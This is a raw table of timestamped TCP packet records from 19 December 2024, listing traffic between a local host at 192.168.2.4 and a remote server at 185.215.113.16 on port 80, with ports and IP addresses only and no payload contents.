Dec 19, 2024 07:56:46.720387936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.720402956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.720453024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.722579956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.722594976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.722605944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.722645044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.723629951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.724347115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.724359989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.724400043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.724442005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.725114107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.725135088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.725178957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.726061106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.726835012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.727241993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.727351904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.727365971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.727402925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.728374004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.729540110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.729552984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.729595900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.729820013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.729886055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.730690956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.731389046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.731451035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.731971979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.731986046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.732031107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.733190060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.733203888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.733272076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.734323978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.734338045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.734374046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.735403061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.736582994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.736596107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.736608028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.736640930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.736675978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.738874912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.738888979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.738899946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.738929033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.740010977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.740055084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.740073919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.741765022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.741780996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.741792917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.741807938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.741846085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.743561029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.743575096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.743604898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.743606091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.744765997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.744805098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.744829893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.744848013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.744900942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.745836973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.747000933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.747044086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.747044086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.749336004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.749352932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.749368906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.749382019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.749404907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.749439001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.750837088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.750853062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.750863075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.750905037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.752948999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.752966881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.752978086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.752990007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.753007889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.753041029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.755295038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.755309105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.755330086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.755342007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.755384922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.756854057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.756870985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.756958008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.758625984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.758641005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.758654118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.758699894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.760580063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.760593891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.760605097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.760647058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.760677099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.762218952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.762232065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.762242079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.762254000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.762278080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.762306929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.764576912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.764589071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.764599085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.764610052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.764627934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.764658928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.765830994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.765842915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.765897989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.768068075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.768079042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.768090963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.768102884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.768129110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.768146992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.770370007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.770380974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.770390987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.770402908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.770418882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.770450115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.772691011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.772702932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.772712946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.772725105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.772741079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.772769928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.774828911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.774841070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.774887085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.776202917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.776215076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.776225090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.776236057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.776295900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.776295900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.777832985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.777844906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.777882099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.780838013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.834419012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.910258055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.910278082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.910335064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.910701990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.910713911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.910773993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.911890984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.911905050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.911950111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.913162947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.913177967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.913247108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.914144039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.914158106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.914215088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.915359974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.915374994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.915414095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.916517019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.916539907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.916577101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.917623043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.917889118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.917943001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.918832064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.918845892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.918934107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.919987917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.920002937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.920037985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.921140909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.921154976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.921200991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.922305107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.922318935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.922404051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.923464060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.923477888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.923521042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.924521923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.924843073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.925787926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.925801039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.925849915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.925888062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.927000999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.927038908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.927093029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.928066969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.928081989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.928183079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.929255962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.929270983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.929317951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.930289984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.930826902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.931067944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.931590080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.931605101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.931644917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.932629108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.933033943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.933798075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.933851004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.934786081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.934838057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.935298920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.935327053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.935372114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.936108112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.936522961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.936839104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.937388897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.937402964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.937449932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.938549042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.938563108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.938592911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.939713001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.939727068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.939763069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.940782070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.941409111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.941945076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.941987991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.942437887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.942482948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.943257093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.943270922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.943315983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.944616079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.944631100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.944674969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.945413113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.945826054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.946593046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.946633101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.946850061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.946916103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.947922945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.947937012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.947993040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.948971033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.949251890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.949299097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.950381041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.950396061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.950457096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.951323032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.951447964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.951514959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.952517986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.952532053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.952578068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.953573942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.953881025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.953932047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.954828024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.954850912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.954966068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.956010103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.956096888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.956140995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.957176924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.957190990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.957242966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.958606005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.958621979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.958662033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.959501028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.959515095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.959573030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.960721970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.960737944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.960773945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.961756945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.962034941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.962088108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.963268042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.963284016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.963327885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.964297056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.964309931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.964354038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.965220928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.965331078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.966064930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.966587067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.966600895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.966639996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.967648983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.967662096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.967705965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.968738079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.968854904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.968895912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.969928026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.969970942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.970014095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.970963001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.021944046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.026477098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.146393061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.146414042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.146461964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.146827936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.146841049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.146934032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.147922039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.148040056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.148092031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.149540901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.149557114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.149647951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.150362968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.150374889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.150454044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.151393890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.151407957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.151477098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.152546883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.152560949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.152614117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.154505014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.154520988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.154565096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.154956102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.154968977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.155030966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.156043053 CET	80	49744	185.215.113.16	192.168.2.4
